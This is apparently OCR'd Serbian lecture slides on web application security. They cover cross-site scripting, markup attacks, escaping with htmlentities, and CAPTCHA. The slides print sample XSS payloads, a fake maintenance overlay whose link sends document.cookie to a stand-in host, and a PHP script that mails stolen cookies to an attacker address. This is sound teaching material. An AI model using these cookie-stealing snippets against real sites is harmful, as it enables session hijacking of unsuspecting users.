Napadac bi mogao da insertuje HTML koji prikazuje nebezbedni link,
tako da se sve informacije zapravo dostavljaju nebezbednoj lokaciji.

Zabranom izvrSavanja JavaScript-a se mogu spreciti ovi napadi,
samo je pitanje da li su korisnici spremni da se odreknu benefita koje

on pruzal



Cross-Site Scripting (2)

Q CROSS-SITE SCRIPTING se tipi¢no izvodi korisenjem vise od
jedne Web lokacije (cross-site), i ukljucuju neku vrstu skriptiranja.

0 Postoji PET VRSTA SKRIPTQOVA koji se oznacavaju svojom HTML
oznakom: <script>, <object>, <applet>, <iframe> i <embed>.

Q2 Zlonamerni skript moze izazvati - u€initi:
= preuzeti daljinsku kontrolu nad Web &itacem,
= otkriti vrednost kolagica,
= menjaju linkove na Web stranici (zapravo izmenite bilo koji deo DOM-a),
= preusmeriti korisnika na drugi URT ili
= napravite laznu formu koja prikuplja i prosleduje informacije napadacu il

= zapoceti neku drugu nezeljenu akciju.




Cross-Site Scripting (2)

1.  <body background = “javascript: alert('xss - gotchal’)">

N N »
2. <iframe src=javascript: alert('xss - gotchal')> </iframe>
DAL SR

' 4 '4

3. "> <body onload = "a()."> <script> function a(}alert('xss -

gotchal'):} </script> <"

o 2




HTML and CSS Markup Attacks (1)

Hello from sunny Californial

PREPISANA je prva originalna

<div style="position: absolute; re€enica.
top: Opx:
left: Opx:
background-color: white; Ugradnja u ili u
. . koja se onda
color: black; objavljuju na Web stranici.

width: 100%;

height: 100%; ">
<h1>Sorry, we're carrying out maintenance right now.</h1>
<a href="#" onclick=" javascript: window.location =
'http://reallybadguys.net/cookies.php?cookie=" + document.cookie;">
Click here to continue.

</a>




HTML and CSS Markup Attacks (2)

<?php
$cookie = $_GET['cookie'];
$uri = $_SERVER['HTTP_REFERER'];
mail( 'gotcha@reallybadguys.net’, 'We got another onel’,
"Go to $uri and present cookie $cookie." );

header( 'Location: '.$uri);
?>

Ovaj PHP kod ée ¢e poslati URT
izvornog sajta i korisni¢ki kolaéic

napadadu, a zatim ga preusmerava
hazad na mesto gde je bio,
pokusavajuci da prikrije prevaru.

https://www.youtube.com/watch?v=YbXrqg8o5e4s




avadcript Attacks (1)

g

Uobicajeni nacin XSS napada je koriscenje JavaScript-a koji je
dostupan u vecini Web &itada.

Ubacivanjem kratkog JavaScript-a koda u stranicu, napada¢ moze
IZLOZITI VREDNOST kolagiéa, ID sesije, DOM i sli¢no.

Tipi¢an napad se izvodi tako $to se Web ¢ita¢ PREUSMERI NA URI
koji je napada¢ odabrao dodajuéi vrednosti kolagiéa promenljiva $

_GET u URT upitu:

<a href="#" onclick="javascript:window.location =
"http://reallybadguys.net/cookies.php?c=" + document.cookie;">
Click here to continue.

</a>



Resenje (1)

0 PHP-ova funkcija htmlentities () ¢e konvertovati sve karaktere u
HTML entitete $to ih ¢ini bezopasnim.
<?php
function safe( $value ) {
htmlentities( $value, ENT_QUOTES, 'utf-8");
// other processing

Ovaj nain sprecava da
HTML bude ugraden, i

return $value;

} samim tim spreéava XSS
napade putem

// retfrieve $title and $message from user input
v b J P JavaScript ugradivanja

$title = $_POSTI title'];
$message = $_POST[ 'message'];

// and display them safely
print '<h1>' . safe( $title ). </hl>
<p>' . safe( $message ) . '</p>';

?>




Ostali problemi

Q

Q

Q

Preventing Cross-Site Scripting

Preventing Remote Execution

Enforcing Security for Temporary Files
Preventing Session Hijacking

Securing REST Services

Using CAPTCHAs

User Authentication, Authorization, and Logging
Preventing Data Loss

Safe Execution of System and Remote Procedure Calls
Securing Your Database

Using Encryption

Securing Network Connections: SSL and SSH



Automatizovani test CAPTCHA (1)

Q CAPTCHA (engl. Completely Automated Public Turing test to tell
Computers and Humans Apart ) (novije verzije se nazivaju
reCAPTCHA) je procedura koja se na Webu koristi da bi se odredilo
da li je korisnik COVEK ili MASINA.

0 CAPTCHA stiti Web aplikaciju od nezeljene poste i drugih vrsta
automatskih zloupotreba.

a CAPTCHA sprecava:

- BOTOVE da na forumima otvaraju naloge, a potom postavljaju
nerelevantne poruke.

- OTVARANJE NA HILJADE NALOGA na sajtovima koji pruzaju
razne besplatne usluge (primer: servis za elektronsku postu), sto
moze da iscrpe sistemske resurse.

- pristup botovima BESPLATNIM SISTEMIMA koji se finansiraju
prikazivanjem oglasnih banera.




Automatizovani test CAPTCHA (2)

Q CAPTCHA se zasniva na kreiranju JEDNOSTAVANOG TESTA koji
korisnik treba da resi a za koji se unapred zna da ga RACUNAR NE
MOZE USPESNO RESITI.

0 Svaki korisnik koji unese TACAN ODGQOVOR na postavljeni test
smatra se COVEKOM.

0 Uobi¢ajene CAPTCHA traze od korisnika da unese nekoliko slova koja
su prikazana na neki na¢in ISKRIVLTENOJ SLICI.

Q Problem koji nastaje primenom CAPTCHA tehnologije je
onemogucavanje pristupa slepim i slabovidim licimal

0 Jedno resenje je da se slikovha CAPTCHA zameni zvu¢nom.

Twpe the o words:

improve wages|




Automatizovani test CAPTCHA (3)

<html>
<head>
<title>reCAPTCHA demo: Simple page</title>
<script src="https://www.google.com/reCAPTCHA/api.js" async
defer></script>
</head>
<body>
<form action="?" method="POST">
<div class="g-reCAPTCHA" data-sitekey="your_site_key"></div>
<br/>
<input type="submit" value="Submit">
</form>
</body>
</html>

https://developers.google.com/recaptcha/intro




Slikovnit CAPTCHA

Click the airplane
10f3

GEX

a

0 https://www.google.com/recaptcha/intro/v3.html#introducing-new-recaptcha



https://developers.google.com/recaptcha/docs/v3

Visoka tehni¢ka skola Nis

Dobre ideje za semestralne i diplomske radove se mogu nadi na:
https://phppot.com/php/php-ajax-image-upload/

Client Google OAuth Server
Google OAuth API 3
auth code
oo 5
& ﬁﬂp“ '

Application / Callback Script

Google OAuth Authentication

https://www.upwork.com/hiring/development/a-beginners-guide-to-back-end-development/
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